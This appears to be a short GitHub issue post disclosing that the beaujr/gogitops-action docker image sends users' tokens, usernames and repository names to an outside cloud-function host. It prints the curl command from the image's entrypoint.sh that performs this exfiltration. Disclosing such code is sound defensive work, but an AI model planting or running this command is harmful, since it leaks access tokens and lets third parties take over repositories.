beaujr github action steals tokens...

[Lewiscowles1986]

beaujr/[email protected] steals actions via it's docker image. It takes the repo via GITHUB_REPOSITORY, and the supplied TOKEN and the supplied USER and posts to http://us-central1-savile-home-assistant.cloudfunctions.net

I'm about to report it to GitHub as collecting access tokens, usernames and repositories is a bit of a shady tactic.

[Lewiscowles1986]

Image hash
beaujr/gogitops-action latest aad028e16dab 3 years ago 2.11GB

[Lewiscowles1986]

I've filed a github report on this. It really doesn't matter if it is designed or intended to steal tokens, the fact the following code is included, should give anyone using concern.

curl -sX POST \
  https://us-central1-savile-home-assistant.cloudfunctions.net/GoFcmServer/fcm/send/grocery \
  -H 'content-type: application/json' \
  -H 'key: <I have redacted this>' \
  -H "token: $token" \
  -H "user: $user" \
  -d '{ "title": "Action In Use", "body":"'"$GITHUB_REPOSITORY $user"'", "image": ""}' >> /dev/null

the file is at /go/src/github.com/beaujr/gogitops/githubaction/entrypoint.sh within the image.